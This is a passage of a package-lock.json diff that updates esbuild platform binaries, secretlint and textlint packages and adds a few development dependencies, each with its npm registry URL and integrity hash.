"https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.8.tgz", - "integrity": "sha512-A1D9YzRX1i+1AJZuFFUMP1E9fMaYY+GnSQil9Tlw05utlE86EKTUA7RjwHDkEitmLYiFsRd9HwKBPEftNdBfjg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", "cpu": [ "ia32" ], @@ -524,9 +701,9 @@ } }, "node_modules/@esbuild/linux-loong64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.8.tgz", - "integrity": "sha512-O7k1J/dwHkY1RMVvglFHl1HzutGEFFZ3kNiDMSOyUrB7WcoHGf96Sh+64nTRT26l3GMbCW01Ekh/ThKM5iI7hQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", "cpu": [ "loong64" ], @@ -540,9 +717,9 @@ } }, "node_modules/@esbuild/linux-mips64el": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.8.tgz", - "integrity": "sha512-uv+dqfRazte3BzfMp8PAQXmdGHQt2oC/y2ovwpTteqrMx2lwaksiFZ/bdkXJC19ttTvNXBuWH53zy/aTj1FgGw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", "cpu": [ "mips64el" ], @@ -556,9 +733,9 @@ } }, "node_modules/@esbuild/linux-ppc64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.8.tgz", - "integrity": "sha512-GyG0KcMi1GBavP5JgAkkstMGyMholMDybAf8wF5A70CALlDM2p/f7YFE7H92eDeH/VBtFJA5MT4nRPDGg4JuzQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", "cpu": [ "ppc64" ], @@ -572,9 +749,9 @@ } }, "node_modules/@esbuild/linux-riscv64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.8.tgz", - "integrity": "sha512-rAqDYFv3yzMrq7GIcen3XP7TUEG/4LK86LUPMIz6RT8A6pRIDn0sDcvjudVZBiiTcZCY9y2SgYX2lgK3AF+1eg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", "cpu": [ "riscv64" ], @@ -588,9 +765,9 @@ } }, "node_modules/@esbuild/linux-s390x": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.8.tgz", - "integrity": "sha512-Xutvh6VjlbcHpsIIbwY8GVRbwoviWT19tFhgdA7DlenLGC/mbc3lBoVb7jxj9Z+eyGqvcnSyIltYUrkKzWqSvg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", "cpu": [ "s390x" ], @@ -604,9 +781,9 @@ } }, "node_modules/@esbuild/linux-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.8.tgz", - "integrity": "sha512-ASFQhgY4ElXh3nDcOMTkQero4b1lgubskNlhIfJrsH5OKZXDpUAKBlNS0Kx81jwOBp+HCeZqmoJuihTv57/jvQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", "cpu": [ "x64" ], @@ -620,9 +797,9 @@ } }, "node_modules/@esbuild/netbsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.8.tgz", - "integrity": "sha512-d1KfruIeohqAi6SA+gENMuObDbEjn22olAR7egqnkCD9DGBG0wsEARotkLgXDu6c4ncgWTZJtN5vcgxzWRMzcw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", "cpu": [ "arm64" ], @@ -636,9 +813,9 @@ } }, "node_modules/@esbuild/netbsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.8.tgz", - "integrity": "sha512-nVDCkrvx2ua+XQNyfrujIG38+YGyuy2Ru9kKVNyh5jAys6n+l44tTtToqHjino2My8VAY6Lw9H7RI73XFi66Cg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", "cpu": [ "x64" ], @@ -652,9 +829,9 @@ } }, "node_modules/@esbuild/openbsd-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.8.tgz", - "integrity": "sha512-j8HgrDuSJFAujkivSMSfPQSAa5Fxbvk4rgNAS5i3K+r8s1X0p1uOO2Hl2xNsGFppOeHOLAVgYwDVlmxhq5h+SQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", "cpu": [ "arm64" ], @@ -668,9 +845,9 @@ } }, "node_modules/@esbuild/openbsd-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.8.tgz", - "integrity": "sha512-1h8MUAwa0VhNCDp6Af0HToI2TJFAn1uqT9Al6DJVzdIBAd21m/G0Yfc77KDM3uF3T/YaOgQq3qTJHPbTOInaIQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", "cpu": [ "x64" ], @@ -684,9 +861,9 @@ } }, "node_modules/@esbuild/openharmony-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.8.tgz", - "integrity": "sha512-r2nVa5SIK9tSWd0kJd9HCffnDHKchTGikb//9c7HX+r+wHYCpQrSgxhlY6KWV1nFo1l4KFbsMlHk+L6fekLsUg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", "cpu": [ "arm64" ], @@ -700,9 +877,9 @@ } }, "node_modules/@esbuild/sunos-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.8.tgz", - "integrity": "sha512-zUlaP2S12YhQ2UzUfcCuMDHQFJyKABkAjvO5YSndMiIkMimPmxA+BYSBikWgsRpvyxuRnow4nS5NPnf9fpv41w==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", "cpu": [ "x64" ], @@ -716,9 +893,9 @@ } }, "node_modules/@esbuild/win32-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.8.tgz", - "integrity": "sha512-YEGFFWESlPva8hGL+zvj2z/SaK+pH0SwOM0Nc/d+rVnW7GSTFlLBGzZkuSU9kFIGIo8q9X3ucpZhu8PDN5A2sQ==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", "cpu": [ "arm64" ], @@ -732,9 +909,9 @@ } }, "node_modules/@esbuild/win32-ia32": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.8.tgz", - "integrity": "sha512-hiGgGC6KZ5LZz58OL/+qVVoZiuZlUYlYHNAmczOm7bs2oE1XriPFi5ZHHrS8ACpV5EjySrnoCKmcbQMN+ojnHg==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", "cpu": [ "ia32" ], @@ -748,9 +925,9 @@ } }, "node_modules/@esbuild/win32-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.8.tgz", - "integrity": "sha512-cn3Yr7+OaaZq1c+2pe+8yxC8E144SReCQjN6/2ynubzYjvyqZjTXfQJpAcQpsdJq3My7XADANiYGHoFC69pLQw==", + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", "cpu": [ "x64" ], @@ -823,6 +1000,16 @@ "node": "^12.22.0 || ^14.17.0 || >=16.0.0" } }, + "node_modules/@fastify/busboy": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@fastify/busboy/-/busboy-2.1.1.tgz", + "integrity": "sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + } + }, "node_modules/@gar/promisify": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", @@ -978,10 +1165,22 @@ "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", "dev": true, + "license": "MIT", "engines": { "node": ">=8" } }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, "node_modules/@jridgewell/resolve-uri": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", @@ -992,16 +1191,18 @@ } }, "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.4.15", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", - "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", - "dev": true + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" }, "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.25", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", - "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "version": "0.3.30", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.30.tgz", + "integrity": "sha512-GQ7Nw5G2lTu/BtHTKfXhKHok2WGetd4XYcVKGx00SjAk8GMwgJM3zr6zORiPGuOE+/vkc90KtTosSSvaCjKb2Q==", "dev": true, + "license": "MIT", "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" @@ -1544,26 +1745,26 @@ } }, "node_modules/@secretlint/config-creator": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/config-creator/-/config-creator-10.1.1.tgz", - "integrity": "sha512-TJ42CHZqqnEe9ORvIXVVMqdu3KAtyZRxLspjFexo6XgrwJ6CoFHQYzIihilqRjo2sJh9HMrpnYSj/5hopofGrA==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-creator/-/config-creator-10.2.2.tgz", + "integrity": "sha512-BynOBe7Hn3LJjb3CqCHZjeNB09s/vgf0baBaHVw67w7gHF0d25c3ZsZ5+vv8TgwSchRdUCRrbbcq5i2B1fJ2QQ==", "dev": true, "dependencies": { - "@secretlint/types": "^10.1.1" + "@secretlint/types": "^10.2.2" }, "engines": { "node": ">=20.0.0" } }, "node_modules/@secretlint/config-loader": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/config-loader/-/config-loader-10.1.1.tgz", - "integrity": "sha512-jBClVFmS6Yu/zI5ejBCRF5a5ASYsE4gOjogjB+WsaHbQHtGvnyY7I26Qtdg4ihCc/VPKYQg0LdM75pLTXzwsjg==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-loader/-/config-loader-10.2.2.tgz", + "integrity": "sha512-ndjjQNgLg4DIcMJp4iaRD6xb9ijWQZVbd9694Ol2IszBIbGPPkwZHzJYKICbTBmh6AH/pLr0CiCaWdGJU7RbpQ==", "dev": true, "dependencies": { - "@secretlint/profiler": "^10.1.1", - "@secretlint/resolver": "^10.1.1", - "@secretlint/types": "^10.1.1", + "@secretlint/profiler": "^10.2.2", + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", "ajv": "^8.17.1", "debug": "^4.4.1", "rc-config-loader": "^4.1.3" @@ -1595,13 +1796,13 @@ "dev": true }, "node_modules/@secretlint/core": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/core/-/core-10.1.1.tgz", - "integrity": "sha512-COLCxSoH/iVQdLeaZPVtBj0UWKOagO09SqYkCQgfFfZ+soGxKVK405dL317r4PnH9Pm8/s8xQC6OSY5rWTRObQ==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/core/-/core-10.2.2.tgz", + "integrity": "sha512-6rdwBwLP9+TO3rRjMVW1tX+lQeo5gBbxl1I5F8nh8bgGtKwdlCMhMKsBWzWg1ostxx/tIG7OjZI0/BxsP8bUgw==", "dev": true, "dependencies": { - "@secretlint/profiler": "^10.1.1", - "@secretlint/types": "^10.1.1", + "@secretlint/profiler": "^10.2.2", + "@secretlint/types": "^10.2.2", "debug": "^4.4.1", "structured-source": "^4.0.0" }, @@ -1610,39 +1811,78 @@ } }, "node_modules/@secretlint/formatter": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/formatter/-/formatter-10.1.1.tgz", - "integrity": "sha512-Gpd8gTPN121SJ0h/9e6nWlZU7PitfhXUiEzW7Kyswg6kNGs+bSqmgTgWFtbo1VQ4ygJYiveWPNT05RCImBexJw==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/formatter/-/formatter-10.2.2.tgz", + "integrity": "sha512-10f/eKV+8YdGKNQmoDUD1QnYL7TzhI2kzyx95vsJKbEa8akzLAR5ZrWIZ3LbcMmBLzxlSQMMccRmi05yDQ5YDA==", "dev": true, "dependencies": { - "@secretlint/resolver": "^10.1.1", - "@secretlint/types": "^10.1.1", - "@textlint/linter-formatter": "^14.8.4", - "@textlint/module-interop": "^14.8.4", - "@textlint/types": "^14.8.4", - "chalk": "^4.1.2", + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", + "@textlint/linter-formatter": "^15.2.0", + "@textlint/module-interop": "^15.2.0", + "@textlint/types": "^15.2.0", + "chalk": "^5.4.1", "debug": "^4.4.1", "pluralize": "^8.0.0", - "strip-ansi": "^6.0.1", + "strip-ansi": "^7.1.0", "table": "^6.9.0", - "terminal-link": "^2.1.1" + "terminal-link": "^4.0.0" }, "engines": { "node": ">=20.0.0" } }, + "node_modules/@secretlint/formatter/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@secretlint/formatter/node_modules/chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "dev": true, + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@secretlint/formatter/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, "node_modules/@secretlint/node": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/node/-/node-10.1.1.tgz", - "integrity": "sha512-AhN+IGqljVObm8a+B33b23FY79wihu5E61Nd3oYSoZV7SxUvMjpafqhLfpt4frNSY7Ghf/pirWu7JY7GMujFrA==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/node/-/node-10.2.2.tgz", + "integrity": "sha512-eZGJQgcg/3WRBwX1bRnss7RmHHK/YlP/l7zOQsrjexYt6l+JJa5YhUmHbuGXS94yW0++3YkEJp0kQGYhiw1DMQ==", "dev": true, "dependencies": { - "@secretlint/config-loader": "^10.1.1", - "@secretlint/core": "^10.1.1", - "@secretlint/formatter": "^10.1.1", - "@secretlint/profiler": "^10.1.1", - "@secretlint/source-creator": "^10.1.1", - "@secretlint/types": "^10.1.1", + "@secretlint/config-loader": "^10.2.2", + "@secretlint/core": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/profiler": "^10.2.2", + "@secretlint/source-creator": "^10.2.2", + "@secretlint/types": "^10.2.2", "debug": "^4.4.1", "p-map": "^7.0.3" }, @@ -1651,54 +1891,54 @@ } }, "node_modules/@secretlint/profiler": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/profiler/-/profiler-10.1.1.tgz", - "integrity": "sha512-kReI+Wr7IQz0LbVwYByzlnPbx4BEF2oEWJBc4Oa45g24alCjHu+jD9h9mzkTJqYUgMnVYD3o7HfzeqxFrV+9XA==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/profiler/-/profiler-10.2.2.tgz", + "integrity": "sha512-qm9rWfkh/o8OvzMIfY8a5bCmgIniSpltbVlUVl983zDG1bUuQNd1/5lUEeWx5o/WJ99bXxS7yNI4/KIXfHexig==", "dev": true }, "node_modules/@secretlint/resolver": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/resolver/-/resolver-10.1.1.tgz", - "integrity": "sha512-GdQzxnBtdBRjBULvZ8ERkaRqDp0njVwXrzBCav1pb0XshVk76C1cjeDqtTqM4RJ1Awo/g5U5MIWYztYv67v5Gg==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/resolver/-/resolver-10.2.2.tgz", + "integrity": "sha512-3md0cp12e+Ae5V+crPQYGd6aaO7ahw95s28OlULGyclyyUtf861UoRGS2prnUrKh7MZb23kdDOyGCYb9br5e4w==", "dev": true }, "node_modules/@secretlint/secretlint-formatter-sarif": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/secretlint-formatter-sarif/-/secretlint-formatter-sarif-10.1.1.tgz", - "integrity": "sha512-Dyq8nzy6domjSlZKX1E5PEzuWxeTqjQJWrlXBmVmOjwLBLfRZDlm5Vq+AduBmEk03KEIKIZi4cZQwsniuRPO9Q==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-formatter-sarif/-/secretlint-formatter-sarif-10.2.2.tgz", + "integrity": "sha512-ojiF9TGRKJJw308DnYBucHxkpNovDNu1XvPh7IfUp0A12gzTtxuWDqdpuVezL7/IP8Ua7mp5/VkDMN9OLp1doQ==", "dev": true, "dependencies": { - "node-sarif-builder": "^2.0.3" + "node-sarif-builder": "^3.2.0" } }, "node_modules/@secretlint/secretlint-rule-no-dotenv": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-no-dotenv/-/secretlint-rule-no-dotenv-10.1.1.tgz", - "integrity": "sha512-a3/sOUUtEHuw1HCadtxUjViNeomiiohfJj+rwtHxJkCq4pjITS3HSYhQBXnNvkctQNljKIzFm7JUA/4QJ6I4sQ==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-no-dotenv/-/secretlint-rule-no-dotenv-10.2.2.tgz", + "integrity": "sha512-KJRbIShA9DVc5Va3yArtJ6QDzGjg3PRa1uYp9As4RsyKtKSSZjI64jVca57FZ8gbuk4em0/0Jq+uy6485wxIdg==", "dev": true, "dependencies": { - "@secretlint/types": "^10.1.1" + "@secretlint/types": "^10.2.2" }, "engines": { "node": ">=20.0.0" } }, "node_modules/@secretlint/secretlint-rule-preset-recommend": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-preset-recommend/-/secretlint-rule-preset-recommend-10.1.1.tgz", - "integrity": "sha512-+GeISCXVgpnoeRZE4ZPsuO97+fm6z8Ge23LNq6LvR9ZJAq018maXVftkJhHj4hnvYB5URUAEerBBkPGNk5/Ong==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-rule-preset-recommend/-/secretlint-rule-preset-recommend-10.2.2.tgz", + "integrity": "sha512-K3jPqjva8bQndDKJqctnGfwuAxU2n9XNCPtbXVI5JvC7FnQiNg/yWlQPbMUlBXtBoBGFYp08A94m6fvtc9v+zA==", "dev": true, "engines": { "node": ">=20.0.0" } }, "node_modules/@secretlint/source-creator": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/source-creator/-/source-creator-10.1.1.tgz", - "integrity": "sha512-IWjvHcE0bhC/x88a9M9jbZlFRZGUEbBzujxrs2KzI5IQ2BXTBRBRhRSjE/BEpWqDHILB22c3mfam8X+UjukphA==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/source-creator/-/source-creator-10.2.2.tgz", + "integrity": "sha512-h6I87xJfwfUTgQ7irWq7UTdq/Bm1RuQ/fYhA3dtTIAop5BwSFmZyrchph4WcoEvbN460BWKmk4RYSvPElIIvxw==", "dev": true, "dependencies": { - "@secretlint/types": "^10.1.1", + "@secretlint/types": "^10.2.2", "istextorbinary": "^9.5.0" }, "engines": { @@ -1706,9 +1946,9 @@ } }, "node_modules/@secretlint/types": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@secretlint/types/-/types-10.1.1.tgz", - "integrity": "sha512-/JGAvVkurVHkargk3AC7UxRy+Ymc+52AVBO/fZA5pShuLW2dX4O/rKc4n8cyhQiOb/3ym5ACSlLQuQ8apPfxrQ==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/types/-/types-10.2.2.tgz", + "integrity": "sha512-Nqc90v4lWCXyakD6xNyNACBJNJ0tNCwj2WNk/7ivyacYHxiITVgmLUFXTBOeCdy79iz6HtN9Y31uw/jbLrdOAg==", "dev": true, "engines": { "node": ">=20.0.0" @@ -1768,23 +2008,33 @@ "type-detect": "^4.1.0" } }, + "node_modules/@so-ric/colorspace": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@so-ric/colorspace/-/colorspace-1.1.6.tgz", + "integrity": "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw==", + "dev": true, + "dependencies": { + "color": "^5.0.2", + "text-hex": "1.0.x" + } + }, "node_modules/@textlint/ast-node-types": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-14.8.4.tgz", - "integrity": "sha512-+fI7miec/r9VeniFV9ppL4jRCmHNsTxieulTUf/4tvGII3db5hGriKHC4p/diq1SkQ9Sgs7kg6UyydxZtpTz1Q==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-15.2.2.tgz", + "integrity": "sha512-9ByYNzWV8tpz6BFaRzeRzIov8dkbSZu9q7IWqEIfmRuLWb2qbI/5gTvKcoWT1HYs4XM7IZ8TKSXcuPvMb6eorA==", "dev": true }, "node_modules/@textlint/linter-formatter": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-14.8.4.tgz", - "integrity": "sha512-sZ0UfYRDBNHnfMVBqLqqYnqTB7Ec169ljlmo+SEHR1T+dHUPYy1/DZK4p7QREXlBSFL4cnkswETCbc9xRodm4Q==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/linter-formatter/-/linter-formatter-15.2.2.tgz", + "integrity": "sha512-oMVaMJ3exFvXhCj3AqmCbLaeYrTNLqaJnLJMIlmnRM3/kZdxvku4OYdaDzgtlI194cVxamOY5AbHBBVnY79kEg==", "dev": true, "dependencies": { "@azu/format-text": "^1.0.2", "@azu/style-format": "^1.0.1", - "@textlint/module-interop": "14.8.4", - "@textlint/resolver": "14.8.4", - "@textlint/types": "14.8.4", + "@textlint/module-interop": "15.2.2", + "@textlint/resolver": "15.2.2", + "@textlint/types": "15.2.2", "chalk": "^4.1.2", "debug": "^4.4.1", "js-yaml": "^3.14.1", @@ -1824,31 +2074,25 @@ "integrity": "sha512-TqNZzQCD4S42De9IfnnBvILN7HAW7riLqsCyp8lgjXeysyPlX5HhqKAcJHHHb9XskE4/a+7VGC9zzx8Ls0jOAw==", "dev": true }, - "node_modules/@textlint/linter-formatter/node_modules/sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": 